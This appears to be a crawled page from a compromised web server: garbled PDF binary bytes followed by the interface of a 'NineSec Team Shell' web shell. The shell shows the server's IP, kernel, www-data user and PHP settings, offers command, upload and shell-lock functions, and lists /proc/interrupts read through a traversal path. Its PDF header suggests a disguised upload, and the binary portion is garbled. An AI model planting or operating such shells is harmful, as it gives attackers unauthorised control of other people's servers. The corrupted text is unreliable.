%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 118.98.227.230  /  Your IP : 216.73.216.6
Web Server : nginx/1.18.0
System : Linux p3gtk 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0555) :  /../proc/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //../proc/interrupts
            CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      
   0:          9          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC    2-edge      timer
   1:          0          0          0          0          0          9          0          0          0          0          0          0          0          0          0          0   IO-APIC    1-edge      i8042
   6:          0          0          0          0          0          0          0          8          0          4          0          0          0          1          0          0   IO-APIC    6-edge      floppy
   8:          0          0          0          0          0          0          1          0          0          0          0          0          0          0          0          0   IO-APIC    8-edge      rtc0
   9:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC    9-fasteoi   acpi
  12:          0          0          0          0         15          0          0          0          0          0          0          0          0          0          0          0   IO-APIC   12-edge      i8042
  14:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC   14-edge      ata_piix
  15:     146184          0          0       8534     560366      13394          0     294317    2277316     696166          0          0      27070     937349          0     499591   IO-APIC   15-edge      ata_piix
  16:          0          0          0          0          0          0   21928775          0        141          0          0          0          0          0          0          0   IO-APIC   16-fasteoi   vmwgfx
  17:          0          0   39578207          0          0          0          0          0          0       8104          0          0          0          0          0          0   IO-APIC   17-fasteoi   ioc0
  24:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 344064-edge      PCIe PME, pciehp
  25:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 346112-edge      PCIe PME, pciehp
  26:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 348160-edge      PCIe PME, pciehp
  27:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 350208-edge      PCIe PME, pciehp
  28:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 352256-edge      PCIe PME, pciehp
  29:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 354304-edge      PCIe PME, pciehp
  30:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 356352-edge      PCIe PME, pciehp
  31:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 358400-edge      PCIe PME, pciehp
  32:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 360448-edge      PCIe PME, pciehp
  33:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 362496-edge      PCIe PME, pciehp
  34:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 364544-edge      PCIe PME, pciehp
  35:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 366592-edge      PCIe PME, pciehp
  36:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 368640-edge      PCIe PME, pciehp
  37:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 370688-edge      PCIe PME, pciehp
  38:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 372736-edge      PCIe PME, pciehp
  39:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 374784-edge      PCIe PME, pciehp
  40:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 376832-edge      PCIe PME, pciehp
  41:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 378880-edge      PCIe PME, pciehp
  42:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 380928-edge      PCIe PME, pciehp
  43:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 382976-edge      PCIe PME, pciehp
  44:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 385024-edge      PCIe PME, pciehp
  45:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 387072-edge      PCIe PME, pciehp
  46:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 389120-edge      PCIe PME, pciehp
  47:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 391168-edge      PCIe PME, pciehp
  48:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 393216-edge      PCIe PME, pciehp
  49:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 395264-edge      PCIe PME, pciehp
  50:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 397312-edge      PCIe PME, pciehp
  51:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 399360-edge      PCIe PME, pciehp
  52:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 401408-edge      PCIe PME, pciehp
  53:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 403456-edge      PCIe PME, pciehp
  54:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 405504-edge      PCIe PME, pciehp
  55:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 407552-edge      PCIe PME, pciehp
  56:          0          0          0          0          0  109361737          0          0          0          0          0          0        396          0          0          0   PCI-MSI 1572864-edge      ens160-rxtx-0
  57:          0          0          0          0          0          0          0          0          0          0          0   65050833          0         78          0          0   PCI-MSI 1572865-edge      ens160-rxtx-1
  58:          0   64578386          0          0          0          0          0          0          0          0          0          0          0          0         77          0   PCI-MSI 1572866-edge      ens160-rxtx-2
  59:          0          0          0          0          0          0          0   64206696          0          0          0          0          0          0          0         89   PCI-MSI 1572867-edge      ens160-rxtx-3
  60:         96          0          0   64599915          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 1572868-edge      ens160-rxtx-4
  61:          0         89          0          0          0          0          0          0          0          0          0          0   64669746          0          0          0   PCI-MSI 1572869-edge      ens160-rxtx-5
  62:          0          0         87          0          0          0          0          0          0          0          0          0          0          0   66331901          0   PCI-MSI 1572870-edge      ens160-rxtx-6
  63:          0          0          0         70          0          0          0          0          0          0   64797665          0          0          0          0          0   PCI-MSI 1572871-edge      ens160-rxtx-7
  64:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 1572872-edge      ens160-event-8
  65:      42349          0          0       5361      52599       7567          0      51217     289638     132645         34          0       7620     127637          0      65919   PCI-MSI 129024-edge      vmw_vmci
  66:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 129025-edge      vmw_vmci
 NMI:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Non-maskable interrupts
 LOC:  147153580  122883597  116109549  117685414  146949620  293301944  159864827  156005098  121868599  120057510  122505029  118547068  138947182  123460078  117781890  102633084   Local timer interrupts
 SPU:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Spurious interrupts
 PMI:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Performance monitoring interrupts
 IWI:          0          0          0          0          0          1          0          0          0          0          0          0          6          4          2          0   IRQ work interrupts
 RTR:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   APIC ICR read retries
 RES:  216936409  196794926  175159268  172900802  201334304  323504933  170660236  179850875  182965937  165844491  157630887  156893495  198805737  170261464  150571032  150626011   Rescheduling interrupts
 CAL:     958895     826872     907447     752029    2890479    2800074    2800674    2791396    2327737    2344132    2341920    2406687    4329481    2274372    4170040    2621608   Function call interrupts
 TLB:     533301     472535     462998     422513     506424     404574     387479     377019     557833     390431     371361     365973     401955     376961     294074     927467   TLB shootdowns
 TRM:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Thermal event interrupts
 THR:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Threshold APIC interrupts
 DFR:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Deferred Error APIC interrupts
 MCE:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Machine check exceptions
 MCP:      17692      17693      17693      17693      17693      17693      17693      17693      17693      17693      17693      17693      17693      17693      17693      17693   Machine check polls
 ERR:          0
 MIS:          0
 PIN:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Posted-interrupt notification event
 NPI:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Nested posted-interrupt event
 PIW:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Posted-interrupt wakeup event

NineSec Team - 2022